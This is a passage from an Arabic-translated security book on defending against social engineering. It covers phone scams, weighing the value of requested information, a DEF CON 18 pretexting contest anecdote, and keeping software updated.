‫اﻟﻣﺻرﻓﻲ أو إﺟراء ﻋﻣﻠﯾﺔ ﺷراء ﻋﺑر اﻹﻧﺗرﻧت‪ .‬ﻓﺄﻧﻰ ﻛﻧت ارﯾد ان اﺻﻌد ﺑﺳرﻋﮫ وأﺻﯾﺢ ﻓﻲ ذﻟك اﻟﺷﺧص وأﻗول ﻟﮫ ﻛﯾف أن ﺣﯾﺎﺗﮫ ﺑﺳرﻋﺔ‬
‫ﻣن اﻟﻣﻣﻛن أن ﺗﺗﺣول رأﺳﺎ ﻋﻠﻰ ﻋﻘب إذا ﻛﺎن اﻟﺷﺧص اﻟﺧطﺄ ﯾﺟﻠس ﻋﻠﻰ أن اﻟﺷﺑﻛﺔ ﻧﻔﺳﮭﺎ ﻣﻌﮫ‪.‬‬
‫أرﯾد ﻣن اﻟﻧﺎس اﻟذﯾن ﻗرأوا ھذا اﻟﺗﻔﻛﯾر أﯾﺿﺎ ﻓﻲ ﻛﯾف إﻋطﺎء اﻟﻣﻌﻠوﻣﺎت ﻋﺑر اﻟﮭﺎﺗف‪ .‬اﻟرﺟﺎل اﻟﻣﺧﺎدﻋﯾن واﻟﻣﺣﺗﺎﻟﯾن ﯾﺳﺗﺧدﻣوا اﻟﻌدﯾد ﻣن‬
‫اﻟﺳﺑل ﻟﻠﺳرﻗﺔ ﻣن ﻛﺑﺎر اﻟﺳن‪ ،‬وﺟود ﺗﻠك اﻷوﻗﺎت اﻻﻗﺗﺻﺎدﯾﺔ اﻟﺻﻌﺑﺔ‪ ،‬او أي ﺷﻲء أﺧر‪ .‬اﻟﮭﺎﺗف ﻻ ﯾزال وﺳﯾﻠﺔ ﻗوﯾﺔ ﺟدا ﻟﻠﻘﯾﺎم ﺑذﻟك‪ .‬إدراﻛﺎ‬
‫ﻣن اﻟﺑﺎﺋﻌﯾن‪ ،‬اﻟﺑﻧوك‪ ،‬أو اﻟﻣوردﯾن ان ﺳﯾﺎﺳﺎت ﻋدم اﻟطﻠب أﺑدا ﻋﺑر اﻟﮭﺎﺗف ﯾﻣﻛن أن ﺗﺳﺎﻋدك ﻋﻠﻰ ﺗﺟﻧب اﻟﻛﺛﯾر ﻣن اﻻﺿرار‪ .‬ﻋﻠﻰ ﺳﺑﯾل‬
‫اﻟﻣﺛﺎل‪ ،‬اﻟﻌدﯾد ﻣن اﻟﺑﻧوك ﺗﺳرد ﻓﻲ ﺳﯾﺎﺳﺎﺗﮭﺎ أﻧﮭم ﻟن ﯾدﻋو او ﯾطﻠﺑوا ﻋدد أو رﻗم اﻟﺣﺳﺎب اﻟﻣﺻرﻓﻲ اﻟﺿﻣﺎن اﻻﺟﺗﻣﺎﻋﻲ‪ .‬ﯾﻣﻛن ﻣﻌرﻓﺔ ھذا‬
‫ﻟﻠﺣﻣﺎﯾﺔ ﻣن اﻟوﻗوع ﻓﻲ ﻋﻣﻠﯾﺔ ﻧﺻب واﺣﺗﯾﺎل اﻟﺗﻲ ﯾﻣﻛﻧﮭﺎ ان ﺗﻔرغ ﻣدﺧرات ﺣﯾﺎﺗك‪.‬‬
‫ﺑرﻧﺎﻣﺞ دواﻋﻲ اﻟوﻋﻲ اﻷﻣﻧﻲ ﯾدل ﻋﻠﻰ أﻧﮫ ﺷﻲء ﻣﺳﺗﻣر‪ .‬اﻟﺑرﻧﺎﻣﺞ ﯾﻌﻧﻲ ﺟدوﻟﺔ اﻟوﻗت ﻟﺗﺛﻘﯾف ﻧﻔﺳك ﺑﺎﺳﺗﻣرار‪ .‬ﺑﻌد اﻟﺣﺻول ﻋﻠﻰ ﺟﻣﯾﻊ ھذه‬
‫اﻟﻣﻌﻠوﻣﺎت اﻟﻣﻔﯾدة‪ ،‬ﻓﺎﻧﮫ ﯾﻣﻛﻧك اﻻﺳﺗﻔﺎدة ﻣﻧﮭﺎ ﻓﻲ ﺗطوﯾر اﻟﺑرﻧﺎﻣﺞ اﻟذي ﺳوف ﯾﺳﺎﻋدك ﻋﻠﻰ اﻟﺑﻘﺎء آﻣن‪.‬‬

‫إدراك ﻟﻘﯾﻣﺔ اﻟﻣﻌﻠوﻣﺎت اﻟﺗﻲ ﺗﺳﺄل ﻋﻧﮭﺎ )‪(Being Aware Of The Value Of The Information You Are Being Asked For‬‬

‫ﻓﻲ إﺷﺎرة ﻣرة أﺧرى إﻟﻰ ﻣﺳﺎﺑﻘﺔ دﯾﻔﻛون ‪ 18‬ﻓﻲ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪ ،‬ﻓﯾﮭﺎ ﻟﻘد ﺗﻌﻠﻣﻧﺎ درس ﺛﻣﯾن آﺧر‪ .‬ﻋﻧدﻣﺎ ﯾﻧظر إﻟﻰ اﻟﻣﻌﻠوﻣﺎت ﺑﺎﻧﮭﺎ ذات‬
‫ﻗﯾﻣﺔ أﻗل أو ﻋدم وﺟود ﻗﯾﻣﺔ ﺗذﻛر‪ ،‬ﻓﺎﻧﮫ ﯾﺗم وﺿﻊ اﻟﻘﻠﯾل ﻣن اﻟﺟﮭد ﻟﺣﻣﺎﯾﺗﮭﺎ‪.‬‬
‫ھذا ھو اﻟﺑﯾﺎن اﻟﺛﻘﯾل‪ ،‬واﻟذي اﺛﺑت ﺻﺣﺔ ان ﻋدد ﻧت اﻷھداف ﺗﻘوم ﺑﺗﺳﻠﯾم ﻣﻌﻠوﻣﺎت ﻋن طﯾب ﺧﺎطر ﻋن اﻟﻛﺎﻓﯾﺗرﯾﺎت‪ ،‬ﻣرﻛز اﻟﺗﺧﻠص ﻣن‬
‫اﻟﻧﻔﺎﯾﺎت‪ ،‬وأﻛﺛر ﻣن ذﻟك ﺑﻛﺛﯾر‪ .‬ﯾﺟب أن ﺗدرك ﻗﯾﻣﺔ اﻟﺑﯾﺎﻧﺎت اﻟﺗﻲ ﻟدﯾك‪ ،‬وﺗﻛون ﻋﻠﻰ ﺑﯾﻧﺔ ﻣن اﻟﺗﻛﺗﯾك اﻟﺗﻲ ﻗد ﯾﺳﺗﺧدﻣﮫ اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ‬
‫ﻟﻠﺣد ﻣن ﻗﯾﻣﺔ ھذه اﻟﻣﻌﻠوﻣﺎت ﻓﻲ ﻋﯾﻧﯾك‪.‬‬
‫ﻗﺑل اﻋطﺎء ﻣﻌﻠوﻣﺎت ﻟﺷﺧص ﻣﺎ‪ ،‬ﯾﺟب ان ﺗﺣدﯾد ﻣﺎ إذا ﻛﺎن اﻟﺷﺧص اﻟذي ﯾﺗﺻل أو ﯾﺗﻔﺎﻋل ﻣﻌك ﯾﺳﺗﺣﻖ ذﻟك‪ .‬اﻟﺑﺷر ﻟدﯾﮭم ھذه اﻟرﻏﺑﺔ‬
‫اﻟﻣدﻣﺟﺔ ﺣﯾث ﯾرﻏﺑون داﺋﻣﺎ ﻓﻲ اﻟﻣﺳﺎﻋدة وأن ﯾﻛون ﻣﻔﯾدا ﻷوﻟﺋك اﻟذﯾن ﯾﻧظرون ﻓﻲ ﺣﺎﺟﺔ إﻟﯾﮭﺎ‪ .‬ﺑل ھو وﺳﯾﻠﺔ رﺋﯾﺳﯾﺔ ﻟﻠﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ‬
‫ﻓﻲ ﻣﻌﺎﻟﺟﺔ اﻟﮭدف ﻟﺗﺳﻠﯾم ﻣﻌﻠوﻣﺎت ﻗﯾﻣﺔ‪ .‬ﺗﺣﻠﯾل اﻟﺷﺧص اﻟذي ﯾﺗﻔﺎﻋل ﻣﻌك ﻟﺗﺣدﯾد ﻣﺎ إذا ﻛﺎﻧت ﯾﺳﺗﺣﻖ اﻟﻣﻌﻠوﻣﺎت اﻟﺗﻲ ﯾﺳﺄل ﻋﻧﮭﺎ ﯾﻣﻛن أن‬
‫ﺗوﻓر ﻟك اﻹﺣراج واﻟﺿرر ﻣن اﻟوﻗوع ﺿﺣﯾﺔ‪.‬‬
‫ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬ﻓﻲ ﻣﺳﺎﺑﻘﺔ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻓﻲ دﯾﻔﻛون ﺣﯾث ان ﻣﺗﺳﺎﺑﻖ واﺣد اﺳﺗﺧدم ذرﯾﻌﺔ اﻧﮫ ﻛﺎن ﻋﻣﯾﻼ ﻟﺷرﻛﺔ ﻣﻛﺎﻓﺣﺔ اﻟﻔﯾروﺳﺎت‬
‫اﻟرﺋﯾﺳﯾﺔ‪ .‬ودﻋﺎ أن ﻟدﯾﮫ ﻣﺷﻛﻠﮫ ﺧطﯾرا ان ﺟﮭﺎز اﻟﻛﻣﺑﯾوﺗر ﻻ ﯾﻣﻛن اﻟوﺻول اﻟﻰ اﻻﻧﺗرﻧت وأﻧﮫ ﺷﻌر أﻧﮫ ﻛﺎن ﻣن اﻟﻣﻘرر أن ﺷﯾﺋﺎ ﻣﺎ ﻛﺎن ﯾﻔﻌﻠﮫ‬
‫ﻣﻛﺎﻓﺢ اﻟﻔﯾروﺳﺎت وﯾرﯾد ﺗﻣﺛﯾل اﻟدﻋم اﻟﻔﻧﻲ ﻟﺗﻔﻌل ھذا اﻟﺷﻲء اﻟﺑﺳﯾط‪ ،‬ﺗﺻﻔﺢ اﻟﻣوﻗﻊ ﻋﻠﻰ ﺷﺑﻛﺔ اﻻﻧﺗرﻧت‪.‬‬
‫اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ اﻟﺧﺑﯾﺛﺔ ﻏﺎﻟﺑﺎ ﻣﺎ ﺗﺳﺗﺧدم ﻧﺎﻗل اﻟﮭﺟوم ھذا‪ .‬ﻋن طرﯾﻖ اﺳﺗدراج اﻟﺿﺣﯾﺔ ﻟﻣوﻗﻊ وﯾب ﻋﻠﻰ ﺷﺑﻛﺔ اﻻﻧﺗرﻧت ﻣﺿﻣن ﺑﮫ اﻛواد‬
‫ﺧﺑﯾﺛﺔ أو ﻣﻠﻔﺎت ﺧﺑﯾﺛﺔ واﻟﺗﻲ ﯾﻣﻛﻧﮭﺎ اﻟوﺻول إﻟﻰ اﻟﻛﻣﺑﯾوﺗر اﻟﮭدف واﻟﺷﺑﻛﺔ‪ .‬ﻓﻲ ﺣﺎﻟﺔ اﻟﻣﺳﺎﺑﻘﺔ‪ ،‬ﻛﺎن ﻣوﻗﻊ اﻟوﯾب ﻏﯾر ﺧﺑﯾث ﻓﻲ ﻛل ﺷﻲء‪،‬‬
‫وﻟﻛن ﻛﺎن ﻹظﮭﺎر أﻧﮫ إذا ﻛﺎن ھذا اﻟﮭﺟوم ﺿﺎر ﻛﺎن ﯾﻣﻛن أن ﯾﻛون ﻧﺎﺟﺣﺎ‪.‬‬
‫وﺿﻌت أول ﻣﺣﺎوﻟﺔ ﻣن ھذا اﻟﻘﺑﯾل ﻣن ﻗﺑل اﻟﻣﺗﺳﺎﺑﻖ‪" :‬ﻻ أﺳﺗطﯾﻊ ﺗﺻﻔﺢ ﻣوﻗﻊ اﻟوﯾب اﻟﺧﺎص ﺑﻲ‪ ،‬وأﻋﺗﻘد أن اﻟﻣﻧﺗﺞ اﻟﺧﺎص ﺑك ﻗﺎم ﺑﺣظر‬
‫اﻟﺗﺻﻔﺢ ﻋﻧﻰ‪ .‬ھل ﯾﻣﻛﻧك اﻟﺗﺣﻘﻖ ﻣن ذﻟك ﻋن طرﯾﻖ اﻟذھﺎب اﻟﻰ ھذا اﻟﻣوﻗﻊ ﺣﯾث أﻧﻰ ﻟﺳت ﻣﺗﺄﻛدا ﻣﺎ إذا ﻛﺎن ھذا ﻧﺎﺗﺞ اﻟﺑرﻧﺎﻣﺞ أم ﻻ؟"‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪994‬‬

‫أﺟﺎب ﻣﻣﺛل اﻟدﻋم اﻟﻔﻧﻲ ﺟﯾدا ﻗﺎﺋﻼ‪" :‬ﺳﯾدي‪ ،‬ﻣﻧﺗﺟﺎﺗﻧﺎ ﻻ ﺗﻘوم ﺑﺣذرك ﻣن اﻟذھﺎب إﻟﻰ ذﻟك اﻟﻣوﻗﻊ؛ اﻧﮭﺎ ﻟن ﯾﮭم ﻣﺎ إذا ﻛﺎن ﯾﻣﻛﻧﻧﻲ اﻟذھﺎب إﻟﻰ‬
‫ھﻧﺎك أم ﻻ‪" .‬ورﻓض اﻟطﻠب‪.‬‬
‫اﻟﻣﺗﺳﺎﺑﻖ ﻟم ﯾﻧﺗﮭﻲ ﻣن ھﻧﺎك؛ ﺑﻌد اﻟﺗﺣدث أﻛﺛر ﻗﻠﯾﻼ ﺣﺎول ﻣرة أﺧرى "‪ ،‬أﻧﺎ أﻋﻠم أﻧك ﻗﻠت إن اﻟﻣﻧﺗﺞ اﻟﺧﺎص ﺑك ﻟن ﯾﻘوم ﺑﺣذري ﻣن اﻟذھﺎب‬
‫ﻟﻣوﻗﻊ اﻟوﯾب ھذا‪ ،‬ﻟﻛﻧﮫ ﻛﺎن ﯾﻌﻣل ﻗﺑل ان اﻗوم ﺑﺗرﻛﯾب اﻟﺑرﻧﺎﻣﺞ‪ ،‬ﺑﺣﯾث ﯾﻣﻛن ﻟك أن ﺗﺣﻘﻖ ﻓﻲ ھذا ﺑﺎﻟﻧﺳﺑﺔ ﻟﻲ؟"‬
‫ﻣرة أﺧرى ﺗم رﻓض اﻟطﻠب‪" :‬ﺳﯾدي‪ ،‬أﻧﺎ آﺳف ﻟﮭذا اﻹزﻋﺎج وﻟﻛن ﻣرة اﺧرى ﻣﻧﺗﺟﺎﺗﻧﺎ ﻟن ﯾﻘوم ﺑﺎي ﺣذر ﻟك وذھﺎﺑﻲ إﻟﻰ ﻣوﻗﻊ اﻟوﯾب ﻟن‬
‫ﯾﺳﺎﻋدك ﻋﻠﻰ ﺣل اﻟﻣﺷﻛﻠﺔ"‪.‬‬
‫ﺑدا اﻷﻣر ﻛﻣﺎ ﻟو أن اﻟطﻠب ﻛﺎن ﻋﻠﻰ وﺷك أن ﯾﺗم رﻓﺿﮫ ﻧﮭﺎﺋﯾﺎ ﻋﻧدﻣﺎ ﺣﺎول اﻟﻣﺗﺳﺎﺑﻖ ﺟﮭد واﺣدة أﺧﯾر‪ ،‬ﺣﯾث ﻗﺎل‪" :‬ﺳﯾدي‪ ،‬إن ھذا ﺳوف‬
‫ﯾﺟﻌﻠﻧﻲ أﺷﻌر ﺑﺄﻧﻲ أﻓﺿل إذا ﻗﻣت ﻣﺟرد ﻣﺣﺎوﻟﺔ اﻟذھﺎب اﻟﻰ ھذا اﻟﻣوﻗﻊ ﺑﺎﻟﻧﺳﺑﺔ ﻟﻲ‪ .‬ﻣن ﻓﺿﻠك‪ ،‬أﯾﻣﻛﻧك ﻣﺳﺎﻋدﺗﻲ؟"‬
‫ھذا طﻠب ﺑﺳﯾط وﺿﻊ ﻣﻧدوب دﻋم اﻟﻔﻧﻲ ﻟدﯾﻧﺎ ﻋﻠﻰ اﻟﺣﺎﻓﺔ وﻓﺗﺢ اﻟﻣﺗﺻﻔﺢ ﻟﮫ وذھب إﻟﻰ اﻟﻣوﻗﻊ‪ .‬ﻛﺎن ﻟدﯾﮫ ﻓﻛره اﻟﺻواب‪ ،‬وﻛﺎن ﻟدﯾﮫ اﻟﺟواب‬
‫اﻟﺻﺣﯾﺢ ﻋن اﻟوﻋﻲ اﻷﻣﻧﻲ‪ ،‬وﻟﻛن ﻓﻲ اﻟﻧﮭﺎﯾﺔ أراد اﻻﻧﺻﯾﺎع "ﻟﻠﻌﻣﻼء" ﻟﻛﻲ "ﯾﺷﻌر ﻋﻠﻰ ﻧﺣو أﻓﺿل" وﺗﻛرﯾم طﻠﺑﮫ‪ .‬ﻣن اﻟﻣﻣﻛن أن ﯾؤدي ھذا‬
‫إﻟﻰ أن ﺗوﺿﻊ اﻟﺷرﻛﺔ ﻓﻲ ﻣﺄزق ﻛﺑﯾر ﻟو ﻛﺎن اﻟﮭﺟوم ﺿﺎر‪.‬‬
‫ﻟﻘد ﻋرف ﻣﻣﺛل اﻟدﻋم اﻟﻔﻧﻲ أن ھذه اﻟﻣﻌﻠوﻣﺎت ﻟم ﺗﻛن ذات اﻟﺻﻠﺔ ﻟﺗﻠك اﻟدﻋوة ﺧﺎﺻﺔ‪ .‬ﻣﺛﻠﮫ‪ ،‬ﯾﺟب أن ﺗﺣدد ﻟﺗﺣﻠﯾل ﻣﺎ إذا ﻛﺎﻧت ﺗﻠك اﻟﻣﻌﻠوﻣﺎت‬
‫اﻟﺗﻲ طﻠﺑت ﯾﺳﺗﺣﻘﮭﺎ وذات اﻟﺻﻠﺔ ھذا اﻟﺷﺧص اﻟذي ﻛﻧت ﺗﺗﻔﺎﻋل ﻣﻌﮫ‪ .‬اﻻﻗﺗراب ﻣن ھذا اﻟﺳﯾﻧﺎرﯾو ﻣن زاوﯾﺔ أﺧرى‪ ،‬ﻣﺎذا إذا ﻛﺎن اﻟﻣﺗﺳﺎﺑﻖ‬
‫زﺑون ﺷرﻋﻲ وﻣﻣﺛل اﻟدﻋم ﺗﻧﺎزل وذھب إﻟﻰ ذﻟك اﻟﻣوﻗﻊ ﻣﺎ ھو أﺳوأ ﻣﺎ ﯾﻣﻛن أن ﯾﺣدث؟‬
‫ﯾﻣﻛن ﻟﻠﻌﻣﯾل ان ﯾﻛون ﻣﺗﻔﺎﺟﺊ ﻗﻠﯾﻼ ﻓﻲ رﻓض اﻟطﻠب اﻟذي أراده وﻟﻛﻧﮫ ﻻ ﯾزال ﻟم ﯾﻐﯾر اﻟﻧﺗﯾﺟﺔ‪ .‬وﻛﺎن اﻟﻣﻧﺗﺞ اﻟذي ﻟدﯾﮫ ﻟم ﯾﻛن ﺳﺑب اﻟﻣﺷﻛﻠﺔ‪.‬‬
‫ﻏﺎﻟﺑﺎ ﻣﺎ ﯾﺳﺗﺧدم اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﺳﺣر ﺑدء ﻣﺣﺎدﺛﺔ ﻋن اﻟطﻘس‪ ،‬واﻟﻌﻣل‪ ،‬واﻟﻣﻧﺗﺞ‪ ،‬أي ﺷﻲء ﻋﻠﻰ اﻹطﻼق‪ ،‬وأﻧﮫ ﯾﺳﺗﺧدﻣﮫ ﻟﻠﻛﺷف ﻋن‬
‫اﻟﻣﻌﻠوﻣﺎت اﻟﻣطﻠوﺑﺔ‪ .‬ھذا ھو اﻟﻣﻛﺎن اﻟذي ﺗﺄﺗﻲ ﺳﯾﺎﺳﺔ اﻟوﻋﻲ اﻷﻣﻧﻲ اﻟﺟﯾدة ﻟﻣوظﻔﯾك ﺣول اﻟﺗﻛﺗﯾﻛﺎت اﻟﺗﻲ ﻗد ﺗﺳﺗﺧدم ﺿدھم واﻟﺗﻲ ﻣن‬
‫اﻟﻣﻣﻛن أن ﺗﻧﻘذھم ﻣن اﻟﺗﺻرف ﺑداﻓﻊ اﻟﺧوف‪.‬‬
‫ﻓﻲ اﺣدى اﻟﻣراﺟﻌﺎت‪/‬اﻟﺗﺣﻘﯾﻘﺎت اﻟذرﯾﻌﺔ اﻟﺗﻲ اﺳﺗﻌﻣﻠﺗﮭﺎ ﻛﺎﻧت ﻣﺳﺎﻋد اﻟﻣدﯾر اﻟﻣﺎﻟﻲ‪ .‬ﻛﺎن ﻣوظف ﻣرﻛز اﻻﺗﺻﺎل ﺧﺎﺋف ﻣن ﻓﻘدان وظﺎﺋﻔﮭم‬
‫ﻟرﻓض اﻟطﻠﺑﺎت ﻣن ھذا اﻟﻘﺑﯾل ذات اﻹدارة رﻓﯾﻌﺔ اﻟﻣﺳﺗوى‪ .‬ﻟﻣﺎذا؟ ﻷﻧﮭم ﻟم ﯾﻌطﻰ ﻟﮭم اﻟﺗﻌﻠﯾم اﻟﻣﻧﺎﺳب ﻟﻣﻌرﻓﺔ رﻓض ھذا اﻟطﻠب اﻟذي ﻟن‬
‫ﯾﻛﻠﻔﮭم وظﺎﺋﻔﮭم‪ .‬ﻓﻲ ﻧﻔس اﻟوﻗت ﯾﺟب أن ﺗﻛون اﻟﺑروﺗوﻛوﻻت ﻓﻲ ﻣﻛﺎن اﻟﻣوظف ﻟﻣﻌرﻓﺔ ﻣﺗﻰ ﯾﻛون طﻠب اﻟﻣﻌﻠوﻣﺎت ﺻﺣﯾﺢ‪.‬‬
‫إدراك اﻟﻘﯾﻣﺔ اﻟﻣﺗﺻورة ﻟﻠﻣﻌﻠوﻣﺎت اﻟﺗﻲ ﺗطﻠب ﻋن ﻛﺛب ﻓﻲ اﻟﻌﻼﻗﺎت ﻣﻊ ﺷﺧص ﻣﺗﻌﻠم وﯾدرك ﻣﻊ اﻟﻌﻠم أﻧﮫ ﺣﺗﻰ ﻣﻊ اﻟﺣﻛﺎﯾﺎت اﻟﺻﻐﯾرة ﻣن‬
‫اﻟﺑﯾﺎﻧﺎت ﯾﻣﻛن أن ﯾؤدي إﻟﻰ ﺧرق واﺳﻊ‪ .‬ﻣﻌرﻓﺔ أن اﻟﺷﺧص ﻋﻠﻰ اﻟطرف اﻵﺧر ﻣن اﻟﮭﺎﺗف ﻟم ﯾﻛن ﺣﻘﺎ ﻓﻲ ﺣﺎﺟﺔ اﻟﻰ ﻣﻌرﻓﺔ اﺳم اﻟﺷرﻛﺔ‬
‫اﻟﻣﻌدة ﻟطﻌﺎم اﻟﻛﺎﻓﺗﯾرﯾﺎ ﯾﻣﻛن أن ﺗﺳﺎﻋد اﻟﻣوظف ﻋﻠﻰ اﻹﺟﺎﺑﺔ ﺑﺷﻛل ﻣﻧﺎﺳب‪ .‬إذا ﻛﻧت ﺻﺎﺣب اﻟﻌﻣل ﻓﺳﺎﻋد ﻣوظﻔﯾك ﻋﻠﻰ وﺿﻊ اﻷﺟوﺑﺔ ﻋﻠﻰ‬
‫ھذه اﻟطﻠﺑﺎت‪ .‬ﻓﻲ ﻣﻌظم اﻟﺣﺎﻻت اﻟﺑﺳﯾطﺔ‪" ،‬آﺳف‪ ،‬أﻧﺎ اﻋرف ھذه اﻟﻣﻌﻠوﻣﺎت؛ ﯾرﺟﻰ اﻻﺗﺻﺎل ﺑﻘﺳم اﻟﺷراء ﻟدﯾﻧﺎ إذا ﻛﻧت ﺗرﯾد ذﻟك‪" .‬أو" أﻧﺎ‬
‫آﺳف ﻻ ﯾﺳﻣﺢ ﻟﻲ ﺑﺎﻟﻛﺷف ﻋن ﺗﻠك اﻟﻣﻌﻠوﻣﺎت وﻟﻛن ﯾﻣﻛﻧك إرﺳﺎل ﺑرﯾد إﻟﻛﺗروﻧﻲ إﻟﻰ ‪ info@company.com‬ﻟطﻠب ﺑﻌض ﻣن ھذه‬
‫اﻟﻣﻌﻠوﻣﺎت‪" ،‬ﯾﻣﻛن أن ﺗﻘطﻊ ﺷوطﺎ طوﯾﻼ ﻧﺣو ﺳﺣﻖ اﻟﻛﺛﯾر ﻣن ﺟﮭود اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪.‬‬
‫ذﻛرت ﺳﺎﺑﻘﺎ أن ﺧﻠﻖ اﻟﺟو اﻟذي ﯾﺟﻌل اﻟﻣﻌﻠوﻣﺎت ﺗﺑدو أﻗل ﻗﯾﻣﺔ ھو أﯾﺿﺎ ﺗﻛﺗﯾك ﯾﺳﺗﺧدم ﻣن ﻗﺑل اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﻟﻠﺣﺻول ﻋﻠﻰ اﻟﻧﺎس‬
‫ﻟﻠﻛﺷف ﻋن ھذه اﻟﻣﻌﻠوﻣﺎت "اﻟﻐﯾر ﻣﮭﻣﮫ" ﺑﺣرﯾﺔ‪ .‬ﯾﻧظر إﻟﻰ اﻟﻣﻌﻠوﻣﺎت اﻟﺗﻲ ﯾﺗم طﻠﺑﮭﺎ ﺧﻼل "اﻟﺣدﯾث" ﻋﻠﻰ أﻧﮭﺎ أﻗل ﻗﯾﻣﺔ ﺑﺳﺑب اﻟوﻗت ﻓﻲ‬
‫اﻟﻣﺣﺎدﺛﺔ اﻟﺗﻲ ﯾطﻠب ﻣن أﺟﻠﮫ‪.‬‬
‫اﻟﺗﺧﻔﯾف ﻋن ھذا اﻟﺗﻛﺗﯾك ‪ SE‬ھو اﻟﺗﻔﻛﯾر ﻓﻲ ﻗﯾﻣﺔ اﻟﻣﻌﻠوﻣﺎت اﻟﺗﻲ ﺗﺧطط ﻹطﻼﻗﮭﺎ‪ .‬ھذه اﻟﻧﻘطﺔ ﺑﺎﻟذات ﻟﯾﺳت داﺋﻣﺎ ﺳﮭﻠﺔ اﻟﺗﻧﻔﯾذ ﻷن اﻟﻣوظﻔﯾن‪،‬‬
‫ﻻ ﺳﯾﻣﺎ ﺗﻠك اﻟﺗﻲ ﺗواﺟﮫ اﻟﻌﻣﻼء‪ ،‬ﯾﺟب أن ﯾﻛون ﻗﺎدرة ﻋﻠﻰ إطﻼق ﺳراح ﺑﻌض اﻟﻣﻌﻠوﻣﺎت دون ﺧوف ﻣن اﻟﮭﺟوم‪ .‬ﺑﺑﺳﺎطﺔ اﻟﺟري ﻋﻠﻰ ﺑﯾﻧﺔ‬
‫ﻣن ﻗﯾﻣﺔ اﻟﻣﻌﻠوﻣﺎت وﺣدھﺎ ﻻ ﯾﻣﻛن أن ﺗﺗوﻗف ھﺟوم‪.‬‬

‫اﻟﺣﻔﺎظ ﻋﻠﻰ ﺗﺣدﯾث اﻟﺑراﻣﺞ )‪(Keeping Software Updated‬‬

‫ﻓﻲ ﻣﻌظم اﻟﺷرﻛﺎت ﯾﺟب أن ﺗﻛون ﻗﺎدرة ﻋﻠﻰ إطﻼق ﺳراح ﺑﻌض اﻟﻣﻌﻠوﻣﺎت ﻟﻠﺟﻣﮭور واﻟﻌﻣﻼء‪ .‬ﺣﺗﻰ ﻓﻲ ﻋﻣﻠﻲ ﯾﺟب أن ﺗﻛون ﻗﺎدر ﻋﻠﻰ‬
‫إﻋطﺎء أرﻗﺎم ھﺎﺗﻔﻲ ورﺳﺎﺋل اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ‪ ،‬وﻋﻧﺎوﯾن اﻟوﯾب‪ .‬ﯾﺟب أن ﺗﻛون ﻗﺎدرة ﻋﻠﻰ إرﺳﺎل واﺳﺗﻘﺑﺎل ﻣﻠﻔﺎت ‪ PDF‬وﯾﺟب أن ﺗﻛون‬
‫ﻗﺎدرا ﻋﻠﻰ اﻟﺗﺣدث ﺑﺣرﯾﺔ ﻋﻠﻰ اﻟﮭﺎﺗف ﻣﻊ اﻟﻌﻣﻼء واﻟﻣوردﯾن واﻟﺑﺎﺋﻌﯾن‪.‬‬
‫ﻣﻊ ذﻟك‪ ،‬ﻓﺈن اﻟﻧﻘﺎط اﻟﺗﻲ ﻧوﻗﺷت ﺣﺗﻰ اﻵن ﺗﺷﯾر إﻟﻰ أن اﻹﻓراج ﻋن أي ﻣن ھذه اﻟﻣﻌﻠوﻣﺎت ﯾﻣﻛن أن ﺗﻛون ﻧﮭﺎﯾﺔ ﻋﻣل اﻟﺷﺧص‪ ،‬ورﺑﻣﺎ‬
‫اﻟﺧﺻوﺻﯾﺔ‪ .‬ﻣﺎ ﯾﻣﻛﻧك اﻟﻘﯾﺎم ﺑﮫ ﻟدﯾك ﺣرﯾﺔ اﻻﻓراج ﻋن ﻣﻌﻠوﻣﺎت ﻣﻌﯾﻧﺔ وﻟﯾس اﻟﺧوف ﻣن اﻟﻧﮭﺎﯾﺔ؟‬
‫اﻟﺣﻔﺎظ ﻋﻠﻰ اﻟﺗﺣدﯾث‪ .‬ﻓﻲ اﻟﻣﺳﺎﺑﻘﺔ ﻟدﯾﻧﺎ‪ ،‬أﻛﺛر ﻣن ‪ ٪60‬ﻣن اﻟﺷرﻛﺎت اﻟﺗﻲ ﻛﺎﻧت ﺗﺳﻣﻰ ﻻ ﺗزال ﺗﺳﺗﺧدم اﻧﺗرﻧت اﻛﺳﺑﻠورر ‪ 6‬وأدوﺑﻲ‬
‫أﻛروﺑﺎت ‪ .8‬ﺗﻠك ھﻲ إﺣﺻﺎﺋﯾﺎت ﻣذھﻠﺔ‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪995‬‬

‫اﻟﻌﺷرات إن ﻟم ﯾﻛن اﻟﻣﺋﺎت ﻣن ﻧﻘﺎط اﻟﺿﻌف ﻓﻲ ﺗﻠك اﻟﺗطﺑﯾﻘﺎت اﻟﻌﺎﻣﺔ وﺣدھﻣﺎ‪ .‬ﻣﻊ اﻟﻌﻠم أن اﺳﺗﺧدام ﺗﻠك اﻟﺗطﺑﯾﻘﺎت اﻟﻣﺳﺗﮭدﻓﺔ ﯾﻔﺗﺢ ﻟﮭم ﺣﺗﻰ‬
‫ﻟﻌدد ھﺎﺋل ﻣن اﻟﮭﺟﻣﺎت اﻟﺗﻲ ﯾﻣﻛن أن ﺗﻛون ﺿﺎرة ﺣﺗﻰ ﺟﻣﯾﻊ اﻟﻣﻌرﻓﺎت‪ ،‬واﻟﺟدران اﻟﻧﺎرﯾﺔ‪ ،‬وأﻧظﻣﺔ ﻣﻛﺎﻓﺣﺔ اﻟﻔﯾروﺳﺎت ﻻ ﯾﻣﻛن أن ﺗﻣﻧﻌﮭم‪.‬‬
‫وﻟﻛن ھل ﺗﻌرف ﻣﺎ ﯾﻣﻛن إﯾﻘﺎﻓﮭﺎ؟‬
